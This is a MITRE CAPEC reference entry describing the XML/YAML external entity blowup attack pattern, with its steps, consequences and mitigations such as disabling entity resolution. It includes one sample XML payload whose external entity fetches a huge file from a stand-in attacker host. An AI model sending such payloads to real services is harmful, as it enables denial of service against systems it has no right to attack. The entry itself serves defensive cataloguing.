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CAPEC-221: Data Serialization External Entities Blowup

Attack Pattern ID: 221
Abstraction: Detailed
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+ Description
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
+ Relationships
Section HelpThis table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
NatureTypeIDName
ChildOfStandard Attack PatternStandard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern.231Oversized Serialized Data Payloads
ChildOfStandard Attack PatternStandard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern.278Web Services Protocol Manipulation
Section HelpThis table shows the views that this attack pattern belongs to and top level categories within that view.
View NameTop Level Categories
Domains of AttackSoftware, Communications
Mechanisms of AttackAbuse Existing Functionality
+ Execution Flow
Explore

  1. Find target web service: The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.

Experiment

  1. Host malicious file on a server: The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.

  2. Craft malicious data: Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.

Exploit

  1. Send serialized data containing URI: The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.

+ Prerequisites
A server that has an implementation that accepts entities containing URI values.
+ Consequences
Section HelpThis table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Resource Consumption
Confidentiality
Integrity
Availability
Execute Unauthorized Commands
+ Mitigations
This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
+ Example Instances

In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.

<?xml version="1.0"?>
< !DOCTYPE bomb [
<!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe">
]>
<bomb>&detonate;</bomb>
+ Taxonomy Mappings
Relevant to the WASC taxonomy mapping
Entry IDEntry Name
43XML External Entities
+ Content History
Submissions
Submission DateSubmitterOrganization
2014-06-23
(Version 2.6)
CAPEC Content TeamThe MITRE Corporation
Modifications
Modification DateModifierOrganization
2017-08-04
(Version 2.11)
CAPEC Content TeamThe MITRE Corporation
Updated Related_Attack_Patterns
2018-07-31
(Version 2.12)
CAPEC Content TeamThe MITRE Corporation
Updated Related_Weaknesses
2020-07-30
(Version 3.3)
CAPEC Content TeamThe MITRE Corporation
Updated @Name, Description, Mitigations, Related_Attack_Patterns
2020-12-17
(Version 3.4)
CAPEC Content TeamThe MITRE Corporation
Updated Consequences, Taxonomy_Mappings
2021-10-21
(Version 3.6)
CAPEC Content TeamThe MITRE Corporation
Updated Execution_Flow
2022-09-29
(Version 3.8)
CAPEC Content TeamThe MITRE Corporation
Updated Example_Instances, Related_Attack_Patterns
Previous Entry Names
Change DatePrevious Entry Name
2018-07-31
(Version 2.12)
XML External Entities
2020-07-30
(Version 3.3)
XML External Entities Blowup
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Page Last Updated or Reviewed: July 30, 2020
 

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